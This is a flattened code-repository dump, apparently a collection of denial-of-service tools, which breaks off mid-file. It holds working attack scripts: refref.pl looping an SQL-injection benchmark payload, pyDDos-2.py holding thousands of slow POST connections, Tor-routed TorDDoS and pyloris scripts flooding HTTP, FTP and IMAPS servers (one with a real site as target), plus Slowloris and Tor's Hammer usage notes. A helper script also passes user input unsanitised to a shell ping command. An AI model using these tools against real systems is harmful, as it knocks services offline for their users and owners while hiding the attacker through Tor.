https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/RCPnet/Capture.PNG -------------------------------------------------------------------------------- /Linux/RCPnet/LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Rosnel Alejandro Leyva-Cortes 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /Linux/RCPnet/test.py: -------------------------------------------------------------------------------- 1 | #Actualizado Lunes,28 de mayo dos mil diez y ocho 2 | #Autor: Rosnel Alejandro Leyva-Cortes# 3 | import os 4 | import re 5 | import sys 6 | import struct 7 | import socket 8 | import urllib 9 | import time 10 | from subprocess import Popen, PIPE 11 | import json as m_json 12 | try: 13 | from urllib.parse import urlparse 14 | except ImportError: 15 | from urlparse import urlparse 16 | try: 17 | import urllib.request #Python3.x 18 | except ImportError: 19 | import urllib2 #Python2.x 20 | #End of import# 21 | 22 | def q(): 23 | print(''' You are a horrible ''') 24 | exit() 25 | 26 | #initial ping 27 | #for the hostname 28 | 29 | def ping (): 30 | welcome = str = raw_input('''\nIn order to perform a test, we must determine if the host is up.''') 31 | hostname = str1 = raw_input("\nInput Hostname: ") 32 | response = os.system("ping -c 10 " + hostname) 33 | 34 | #and then check the response... 35 | if response == 0: 36 | print (hostname + ' is up! ') #End result is self explanatory 37 | mainMenu() 38 | def Cloudflare(): 39 | print('Not ready yet') 40 | mainMenu() 41 | 42 | def traceroute(url,*arg): 43 | print('''This function uses ICMP to trace a host and give an IP. 44 | Please run as root and don't include HTTPS in url. ''') 45 | url = raw_input("\nPlease type in url to traceroute a website: "); 46 | while True: 47 | if 'http' not in url: 48 | url = "http://" + url 49 | elif "www" not in url: 50 | url = "www."[:7] + url[7:] 51 | else: 52 | url = url 53 | break 54 | url = urlparse(url) 55 | url = url.netloc 56 | print(url) 57 | p = Popen(['tracert', url], stdout=PIPE) 58 | while True: 59 | line = p.stdout.readline() 60 | line2 = str(line).replace('\\r','').replace('\\n','') 61 | if len(arg)>0: 62 | file = open(arg[0], "a") 63 | file.write(line2) 64 | file.close() 65 | print(line2) 66 | if not line: 67 | break 68 | 69 | 70 | 71 | def mainMenu(): 72 | print (''' 73 | _______ ______ _______ 74 | / \ / \ / \ 75 | $$$$$$$ |/$$$$$$ |$$$$$$$ | 76 | $$ |__$$ |$$ | $$/ $$ |__$$ | 77 | $$ $$< $$ | $$ $$/ 78 | $$$$$$$ |$$ | __ $$$$$$$/ 79 | $$ | $$ |$$ \__/ |$$ | 80 | $$ | $$ |$$ $$/ $$ | 81 | $$/ $$/ $$$$$$/ $$/ net 82 | 83 | https://sourceforge.net/projects/rcpnet/ 84 | https://twitter.com/PotatoSkins16 85 | Choose one 86 | ''') 87 | print('1. Ping host') 88 | print('2. Cloudflare check') 89 | print('3. tracert') 90 | print('4 Quit') 91 | sel=int(input("\nEnter choice: ")) 92 | if sel==1: 93 | ping() 94 | elif sel==2: 95 | Cloudflare() 96 | elif sel==3: 97 | traceroute() 98 | elif sel==4: 99 | q() 100 | else: 101 | print('That is not a valid choice!!!') 102 | mainMenu() 103 | 104 | 105 | 106 | 107 | mainMenu() 108 | -------------------------------------------------------------------------------- /Linux/RCPnet/tracertest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # (c) December 2007 Thomas Guettler http://www.thomas-guettler.de 3 | # tcptraceroute.py 4 | # This script is in the public domain 5 | 6 | import os 7 | import re 8 | import sys 9 | import struct 10 | import socket 11 | 12 | def usage(): 13 | print '''Usage: %s host port 14 | Tries to connect to host at TCP port with increasing TTL (Time to live). 15 | If /etc/services exists (on most Unix systems), you can give the protocol 16 | name for the port. Example 'ssh' instead of 22. 17 | ''' % os.path.basename(sys.argv[0]) 18 | 19 | def main(): 20 | if not len(sys.argv)==3: 21 | usage() 22 | sys.exit(1) 23 | ttl=1 24 | host, port = sys.argv[1:] 25 | port_int=None 26 | try: 27 | port_int=int(port) 28 | except ValueError: 29 | if not os.path.exists('/etc/services'): 30 | print 'port needs to be an integer if /etc/services does not exist.' 31 | sys.exit(1) 32 | fd=open('/etc/services') 33 | for line in fd: 34 | match=re.match(r'^%s\s+(\d+)/tcp.*$' % port, line) 35 | if match: 36 | port_int=int(match.group(1)) 37 | break 38 | if not port_int: 39 | print 'port %s not in /etc/services' % port 40 | sys.exit(1) 41 | port=port_int 42 | for ttl in range(1, 30): 43 | s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 44 | s.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) 45 | s.settimeout(2) 46 | try: 47 | try: 48 | s.connect((host, port)) 49 | except (socket.error, socket.timeout), err: 50 | print 'ttl=%02d: %s' % (ttl, err) 51 | continue 52 | except KeyboardInterrupt: 53 | print 'ttl=%02d (KeyboardInterrupt)' % ttl 54 | break 55 | finally: 56 | s.close() 57 | print 'ttl=%02d: OK' % (ttl) 58 | break 59 | 60 | if __name__=='__main__': 61 | main() -------------------------------------------------------------------------------- /Linux/Refref/README.md: -------------------------------------------------------------------------------- 1 | refref - An SQLi injection DDOS tool 2 | 3 | [HOMEPAGE](http://www.refref.org/) -------------------------------------------------------------------------------- /Linux/Refref/refref.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | use LWP::UserAgent; 4 | 5 | my $nave = LWP::UserAgent->new; 6 | $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); 7 | $nave->timeout(5); 8 | 9 | if ($ARGV[0]) { 10 | now($ARGV[0]); 11 | } else { 12 | usage(); 13 | } 14 | 15 | sub now { 16 | print "\n[+] Target : " . $_[0] . "\n"; 17 | print "\n[+] Starting the attack\n[+] Info: Control+C to stop attack\n\n"; 18 | 19 | while(true) { 20 | $SIG{INT} = \&adios; 21 | 22 | $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))"); 23 | 24 | unless($code->is_success) { 25 | print "[+] Web Off\n"; 26 | } 27 | } 28 | } 29 | 30 | sub adios { 31 | print "\n[+] Stopping attack\n"; 32 | exit 0; 33 | } 34 | 35 | sub usage { 36 | print "[+] Usage: $0 \n"; 37 | exit 0; 38 | } 39 | 40 | sub toma { 41 | return $nave->get($_[0]); 42 | } -------------------------------------------------------------------------------- /Linux/Simple Python Scripts/pyDDos-2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | import time 4 | import threading 5 | 6 | #--------------------------- 7 | MAX_CONN=20000 8 | PORT=80 9 | HOST="your.fucking.host" 10 | PAGE="/index.php" 11 | #--------------------------- 12 | 13 | buf=("POST %s HTTP/1.1\r\n" 14 | "Host: %s\r\n" 15 | "Content-Length: 10000000\r\n" 16 | "Cookie: dklkt_dos_test\r\n" 17 | "\r\n" % (PAGE,HOST)) 18 | 19 | socks=[] 20 | 21 | def conn_thread(): 22 | global socks 23 | for i in range(0,MAX_CONN): 24 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 25 | try: 26 | s.connect((HOST,PORT)) 27 | s.send(buf) 28 | print "Send buf OK!,conn=%d\n"%i 29 | socks.append(s) 30 | except Exception,ex: 31 | print "Could not connect to server or send error:%s"%ex 32 | time.sleep(10) 33 | #end def 34 | 35 | def send_thread(): 36 | global socks 37 | while True: 38 | for s in socks: 39 | try: 40 | s.send("f") 41 | #print "send OK!" 42 | except Exception,ex: 43 | print "Send Exception:%s\n"%ex 44 | socks.remove(s) 45 | s.close() 46 | time.sleep(1) 47 | #end def 48 | 49 | conn_th=threading.Thread(target=conn_thread,args=()) 50 | send_th=threading.Thread(target=send_thread,args=()) 51 | 52 | conn_th.start() 53 | send_th.start() 54 | -------------------------------------------------------------------------------- /Linux/Slowloris/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015 Gökberk Yaltıraklı 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /Linux/Slowloris/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include LICENSE README.md 2 | -------------------------------------------------------------------------------- /Linux/Slowloris/README.md: -------------------------------------------------------------------------------- 1 | # slowloris.py - Simple slowloris in Python 2 | 3 | ## What is Slowloris? 4 | Slowloris is basically an HTTP Denial of Service attack that affects threaded servers. It works like this: 5 | 6 | 1. We start making lots of HTTP requests. 7 | 2. We send headers periodically (every ~15 seconds) to keep the connections open. 8 | 3. We never close the connection unless the server does so. If the server closes a connection, we create a new one keep doing the same thing. 9 | 10 | This exhausts the servers thread pool and the server can't reply to other people. 11 | 12 | ## Citation 13 | 14 | If you found this work useful, please cite it as 15 | 16 | ```bibtex 17 | @article{gkbrkslowloris, 18 | title = "Slowloris", 19 | author = "Gokberk Yaltirakli", 20 | journal = "github.com", 21 | year = "2015", 22 | url = "https://github.com/gkbrk/slowloris" 23 | } 24 | ``` 25 | 26 | ## How to install and run? 27 | 28 | You can clone the git repo or install using **pip**. Here's how you run it. 29 | 30 | * `sudo pip3 install slowloris` 31 | * `slowloris example.com` 32 | 33 | That's all it takes to install and run slowloris.py. 34 | 35 | If you want to clone using git instead of pip, here's how you do it. 36 | 37 | * `git clone https://github.com/gkbrk/slowloris.git` 38 | * `cd slowloris` 39 | * `python3 slowloris.py example.com` 40 | 41 | ### SOCKS5 proxy support 42 | 43 | However, if you plan on using the `-x` option in order to use a SOCKS5 proxy for connecting instead of a direct connection over your IP address, you will need to install the `PySocks` library (or any other implementation of the `socks` library) as well. [`PySocks`](https://github.com/Anorov/PySocks) is a fork from [`SocksiPy`](http://socksipy.sourceforge.net/) by GitHub user @Anorov and can easily be installed by adding `PySocks` to the `pip` command above or running it again like so: 44 | 45 | * `sudo pip3 install PySocks` 46 | 47 | You can then use the `-x` option to activate SOCKS5 support and the `--proxy-host` and `--proxy-port` option to specify the SOCKS5 proxy host and its port, if they are different from the standard `127.0.0.1:8080`. 48 | 49 | ## Configuration options 50 | It is possible to modify the behaviour of slowloris with command-line 51 | arguments. In order to get an up-to-date help document, just run 52 | `slowloris -h`. 53 | 54 | * -p, --port 55 | * * Port of webserver, usually 80 56 | * -s, --sockets 57 | * * Number of sockets to use in the test 58 | * -v, --verbose 59 | * * Increases logging (output on terminal) 60 | * -ua, --randuseragents 61 | * * Randomizes user-agents with each request 62 | * -x, --useproxy 63 | * * Use a SOCKS5 proxy for connecting 64 | * --https 65 | * * Use HTTPS for the requests 66 | * --sleeptime 67 | * * Time to sleep between each header sent 68 | 69 | ## License 70 | The code is licensed under the MIT License. 71 | -------------------------------------------------------------------------------- /Linux/Slowloris/setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | 3 | setup( 4 | name="Slowloris", 5 | py_modules=["slowloris"], 6 | entry_points={"console_scripts": ["slowloris=slowloris:main"]}, 7 | version="0.2.3", 8 | description="Low bandwidth DoS tool. Slowloris rewrite in Python.", 9 | author="Gokberk Yaltirakli", 10 | author_email="opensource@gkbrk.com", 11 | url="https://github.com/gkbrk/slowloris", 12 | keywords=["dos", "http", "slowloris"], 13 | license="MIT", 14 | ) 15 | -------------------------------------------------------------------------------- /Linux/TorDDoS/README.md: -------------------------------------------------------------------------------- 1 | ![[Version 1.0](https://github.com/R3nt0n)](http://img.shields.io/badge/version-v1.0-orange.svg) 2 | ![[Python 2.7](https://github.com/R3nt0n)](http://img.shields.io/badge/python-2.7-blue.svg) 3 | ![[GPL-3.0 License](https://github.com/R3nt0n)](https://img.shields.io/badge/license-GPL%203.0-brightgreen.svg) 4 | ![[Date](https://github.com/R3nt0n)](http://img.shields.io/badge/date-14/07/2019-yellow.svg) 5 | 6 | 7 | # TorDDos 8 | TorDDos is a Python tool to automatize DDos attacks to a website from the Tor network. 9 | 10 |

11 | 12 | 13 | ## Usage 14 | ``` 15 | 16 | -h, --help show this help message and exit 17 | -t , --target server to kick-out 18 | -n , --attempts number of attempts of attack (default: 5) 19 | 20 | ``` 21 | 22 | 23 | ## How it works 24 | + Creates a new Tor session. 25 | + Makes a request to the website you choose as a target. 26 | + Releases the Tor session, then creates another and request data again to the website. 27 | 28 | 29 | ## Requirements 30 | + Linux system 31 | + Python 2.7 32 | + Tor service 33 | + requests 34 | 35 | 36 | ## Legal disclaimer 37 | This tool is created for the sole purpose of security awareness and education, it should not be used against systems that you do not have permission to test/attack. The author is not responsible for misuse or for any damage that you may cause. You agree that you use this software at your own risk. 38 | -------------------------------------------------------------------------------- /Linux/TorDDoS/img/torddos.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/TorDDoS/img/torddos.png -------------------------------------------------------------------------------- /Linux/TorDDoS/install.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | # R3nt0n (https://www.github.com/R3nt0n) 3 | 4 | sudo apt-get install python 5 | sudo apt-get install tor 6 | pip install requirements.txt 7 | -------------------------------------------------------------------------------- /Linux/TorDDoS/lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # R3nt0n (https://www.github.com/R3nt0n) -------------------------------------------------------------------------------- /Linux/TorDDoS/lib/args.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # TorDDos (https://www.github.com/R3nt0n/torddos) (14/07/2019) 4 | # R3nt0n (https://www.github.com/R3nt0n) 5 | 6 | import argparse 7 | 8 | 9 | parser = argparse.ArgumentParser(description='Order your own DDos Atack through Tor Network.') 10 | 11 | parser.add_argument('-t', '--target', action="store", metavar='', type=str, dest='target', 12 | help='server to kick-out', default=False) 13 | 14 | parser.add_argument('-n', '--attempts', action="store", metavar='', type=int, dest='max_attempts', 15 | default=5, help='number of attempts of attack (default: 5)') -------------------------------------------------------------------------------- /Linux/TorDDoS/lib/color.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # TorDDos (https://www.github.com/R3nt0n/torddos) (14/07/2019) 4 | # R3nt0n (https://www.github.com/R3nt0n) 5 | 6 | class color: 7 | PURPLE = '\033[95m' 8 | CYAN = '\033[96m' 9 | DARKCYAN = '\033[36m' 10 | BLUE = '\033[94m' 11 | GREEN = '\033[92m' 12 | YELLOW = '\033[93m' 13 | RED = '\033[91m' 14 | BOLD = '\033[1m' 15 | UNDERLINE = '\033[4m' 16 | ORANGE = '\033[33m' 17 | END = '\033[0m' -------------------------------------------------------------------------------- /Linux/TorDDoS/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | beautifulsoup4 3 | PySocks 4 | -------------------------------------------------------------------------------- /Linux/TorDDoS/torddos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # TorDDos (https://www.github.com/R3nt0n/torddos) (14/07/2019) 4 | # R3nt0n (https://www.github.com/R3nt0n) 5 | 6 | import datetime 7 | import sys 8 | 9 | from lib.color import color 10 | from lib.tor import Tor 11 | 12 | 13 | def main(): 14 | counter = 0 15 | try: 16 | while counter < max_attempts: 17 | tor = Tor() 18 | if not tor.tor_installed(): 19 | print u'{}[!]{} Tor is not installed. Exiting...'.format(color.RED, color.END) 20 | sys.exit(1) 21 | else: 22 | # Initial timestamp and increment the counter 23 | start_time = datetime.datetime.now().time().strftime('%H:%M:%S') 24 | counter += 1 25 | 26 | # Init a new Tor session 27 | session = tor.new_session() 28 | print u'{}[!]{} New Tor session initialized...'.format(color.BLUE, color.END) 29 | print u'\n{}[+]{} Target: {}{}{}'.format(color.PURPLE, color.END, color.PURPLE, target, color.END) 30 | 31 | # Getting data from the server 32 | print u'{}[*]{} Getting data from {}...'.format(color.ORANGE, color.END, target) 33 | session.get(target) 34 | # Putting data (omitted, maybe it makes detection easier) 35 | # random_bytes = random._urandom(1490) 36 | # print u'{}[*]{} Putting data on {}...'.format(color.ORANGE, color.END, target) 37 | # session.put(target, random_bytes) 38 | print u'{}[*]{} Target {} was attacked succesfully'.format(color.ORANGE, color.END, target) 39 | 40 | except KeyboardInterrupt: pass 41 | except Exception,exception: 42 | print u'\n{}[!]{} An error has occurred:'.format(color.RED, color.END) 43 | print u'{}{}{}'.format(color.RED, exception, Exception, color.END) 44 | 45 | finally: 46 | end_time = datetime.datetime.now().time().strftime('%H:%M:%S') 47 | total_time = (datetime.datetime.strptime(end_time, '%H:%M:%S') - datetime.datetime.strptime(start_time, '%H:%M:%S')) 48 | print u'{}[+]{} Time elapsed:\t{}'.format(color.GREEN, color.END, total_time) 49 | print u'{}[+]{} Number of requests:\t{}'.format(color.GREEN, color.END, counter) 50 | print u'{}[!]{} Stopping Tor...'.format(color.RED, color.END) 51 | tor.stop_tor() 52 | print u'{}[!]{} Exiting...\n'.format(color.RED, color.END) 53 | sys.exit(0) 54 | 55 | 56 | if __name__ == '__main__': 57 | # Processing args 58 | from lib.args import * 59 | args = parser.parse_args() 60 | target = args.target 61 | max_attempts = args.max_attempts 62 | # Print help and exit when it runs without target arg 63 | if not target: 64 | parser.print_help(sys.stdout); sys.exit(2) 65 | # Run the main execution 66 | main() 67 | -------------------------------------------------------------------------------- /Linux/Torshammer/README: -------------------------------------------------------------------------------- 1 | INFO 2 | 3 | Version: 1.0 Beta 4 | Home page: http://torshammer.sourceforge.net 5 | Project page: https://sourceforge.net/projects/torshammer 6 | 7 | Tor's Hammer is a slow post dos testing tool written in Python. It can also be run through the Tor network to be anonymized. If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050. Kills most unprotected web servers running Apache and IIS via a single instance. Kills Apache 1.X and older IIS with ~128 threads, newer IIS and Apache 2.X with ~256 threads. 8 | 9 | --------------------------------------------------------------------------- 10 | 11 | REQUIREMENTS: 12 | 13 | This tool is cross-platform because is written in Python. You only need to have python installed on your operating system. 14 | 15 | Python page: http://www.python.org 16 | Download page: http://www.python.org/download 17 | 18 | --------------------------------------------------------------------------- 19 | 20 | USAGE: 21 | 22 | ./torshammer.py -t [-r -p -T -h] 23 | -t|--target 24 | -r|--threads Defaults to 256 25 | -p|--port Defaults to 80 26 | -T|--tor Enable anonymising through tor on 127.0.0.1:9050 27 | -h|--help Shows this help 28 | 29 | Eg. ./torshammer.py -t 192.168.1.100 -r 256 30 | 31 | --------------------------------------------------------------------------- -------------------------------------------------------------------------------- /Linux/pyloris/license/PyLoris.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2009-2010, Christopher Gilbert 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | 8 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 9 | 10 | 3. Neither the name of Christopher Gilbert nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /Linux/pyloris/license/SocksiPy.txt: -------------------------------------------------------------------------------- 1 | Copyright 2006 Dan-Haim. All rights reserved. 2 | 3 | Redistribution and use in source and binary forms, with or without modification, 4 | are permitted provided that the following conditions are met: 5 | 1. Redistributions of source code must retain the above copyright notice, this 6 | list of conditions and the following disclaimer. 7 | 2. Redistributions in binary form must reproduce the above copyright notice, 8 | this list of conditions and the following disclaimer in the documentation 9 | and/or other materials provided with the distribution. 10 | 3. Neither the name of Dan Haim nor the names of his contributors may be used 11 | to endorse or promote products derived from this software without specific 12 | prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED 15 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 16 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO 17 | EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 19 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA 20 | OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 21 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 22 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. 23 | -------------------------------------------------------------------------------- /Linux/pyloris/scriptloris_deflate.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_defalte.py 5 | A quick script to exploit a mod_deflate DoS vulnerability described on the 6 | dev@httpd.apache.org mailing list. 7 | 8 | http://www.mail-archive.com/dev@httpd.apache.org/msg44323.html 9 | """ 10 | 11 | host = 'www.example.com' 12 | port = 80 13 | filename = '/large/file.txt' 14 | 15 | from libloris import * 16 | 17 | def main(host, port, filename): 18 | loris = ScriptLoris() 19 | 20 | loris.options['host'] = host 21 | loris.options['port'] = port 22 | loris.options['request'] = 'GET %s HTTP/1.1\r\n' % (host) 23 | loris.options['request'] += 'Host: %s\r\n' % (filename) 24 | loris.options['request'] += 'User-Agent: PyLoris (scriptloris_deflate.py) (http://pyloris.sf.net/)\r\n' 25 | loris.options['request'] = 'Accept-Encoding: gzip\r\n\r\n' 26 | 27 | loris.options['attacklimit'] = 0 28 | loris.options['connectionlimit'] = 8 29 | loris.options['threadlimit'] = 2 30 | loris.options['timebetweenthreads'] = 0 31 | loris.options['timebetweenconnections'] = 1 32 | loris.options['quitimmediately'] = True 33 | 34 | loris.mainloop() 35 | 36 | if __name__ == "__main__": 37 | main(host, port, filename) 38 | -------------------------------------------------------------------------------- /Linux/pyloris/scriptloris_ftp.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_ftp.py 5 | A quick script to demonstrate how PyLoris could be used to overwhelm 6 | an FTP server. Routed through TOR for extra credit. 7 | 8 | This script requires TOR to be setup and running on localhost:9050. 9 | """ 10 | 11 | host = 'ftp.example.com' 12 | port = 21 13 | sockshost = 'localhost' 14 | socksport = 9050 15 | 16 | from libloris import * 17 | 18 | def main(host, port, sockshost, socksport): 19 | loris = ScriptLoris() 20 | 21 | loris.options['host'] = host 22 | loris.options['port'] = port 23 | loris.options['request'] = 'USER anonymous\r\n' 24 | loris.options['request'] += 'PASS anonymous@domain.com\r\n' 25 | loris.options['request'] += 'A' * (1024 * 1042) 26 | 27 | loris.options['threadlimit'] = 16 28 | loris.options['connectionlimit'] = 0 29 | loris.options['timebetweenconnections'] = 0.01 30 | 31 | # Enable SOCKS5 on local port 9050 32 | loris.options['socksversion'] = 'SOCKS5' 33 | loris.options['sockshost'] = sockshost 34 | loris.options['socksport'] = socksport 35 | 36 | loris.mainloop() 37 | 38 | if __name__ == "__main__": 39 | main(host, port, sockshost, socksport) 40 | -------------------------------------------------------------------------------- /Linux/pyloris/scriptloris_http.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_http.py 5 | A quick script to demonstrate some of the basic features of scripting 6 | functionality built in to the libloris module. 7 | 8 | This script requires TOR to be setup and running on localhost:9050. 9 | """ 10 | 11 | host = 'www.motomastyle.com' 12 | port = 80 13 | sockshost = 'localhost' 14 | socksport = 9050 15 | 16 | from libloris import * 17 | 18 | def main(host, port, sockshost, socksport): 19 | loris = ScriptLoris() 20 | 21 | loris.options['host'] = host 22 | loris.options['port'] = port 23 | loris.options['request'] = 'GET / HTTP/1.1\r\n' 24 | loris.options['request'] += 'Host: %s\r\n' % (host) 25 | loris.options['request'] += 'User-Agent: PyLoris (scriptloris_http.py (http://pyloris.sf.net)\r\n' 26 | 27 | loris.options['threadlimit'] = 25 28 | loris.options['connectionlimit'] = 256 29 | loris.options['connectionspeed'] = 15 30 | 31 | # Enable SOCKS5 on local port 9050 32 | loris.options['socksversion'] = 'SOCKS5' 33 | loris.options['sockshost'] = sockshost 34 | loris.options['socksport'] = socksport 35 | 36 | loris.mainloop() 37 | 38 | if __name__ == "__main__": 39 | main(host, port, sockshost, socksport) 40 | -------------------------------------------------------------------------------- /Linux/pyloris/scriptloris_httpbasic.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_http.py 5 | A quick script to demonstrate some of the basic features of scripting 6 | functionality built in to the libloris module. 7 | """ 8 | 9 | # Connection information 10 | host = 'www.example.com' 11 | port = 80 12 | 13 | from libloris import * 14 | 15 | def main(host, port): 16 | # Instantiate the ScriptLoris object 17 | loris = ScriptLoris() 18 | 19 | # Set the connection options 20 | loris.options['host'] = host 21 | loris.options['port'] = port 22 | loris.options['threadlimit'] = 25 23 | loris.options['connectionlimit'] = 256 24 | loris.options['connectionspeed'] = 15 25 | 26 | # Build the HTTP request body 27 | loris.options['request'] = 'GET / HTTP/1.1\r\n' 28 | loris.options['request'] += 'Host: %s\r\n' % (host) 29 | loris.options['request'] += 'User-Agent: PyLoris (scriptloris_http.py (http://pyloris.sf.net)\r\n' 30 | loris.options['request'] += 'A' * 1024 * 1024 31 | 32 | # Launch the attack 33 | loris.mainloop() 34 | 35 | if __name__ == "__main__": 36 | main(host, port) -------------------------------------------------------------------------------- /Linux/pyloris/scriptloris_imaps.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_imaps.py 5 | A quick script to demonstrate the scripting functionality and how 6 | it might be used to exploit protocols other than HTTP, such as IMAPS. 7 | """ 8 | 9 | host = 'imaps.example.com' 10 | port = 993 11 | 12 | from libloris import * 13 | 14 | def main(host, port): 15 | loris = ScriptLoris() 16 | 17 | loris.options['host'] = host 18 | loris.options['port'] = port 19 | loris.options['ssl'] = True 20 | 21 | loris.options['threadlimit'] = 64 22 | loris.options['connectionlimit'] = 4092 23 | loris.options['connectionspeed'] = 1 24 | 25 | loris.options['request'] = '' 26 | for i in range(1000): 27 | loris.options['request'] += 'a%02i CAPABILITY\n' % (i) 28 | 29 | loris.mainloop() 30 | 31 | if __name__ == "__main__": 32 | main(host, port) -------------------------------------------------------------------------------- /Linux/pyloris/scriptloris_sfspoof.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_sfspoof.py 5 | A quick script to demonstrate how ScriptLoris could be used to spoof valid 6 | downloads on SourceForge.net, in order to improve a project's 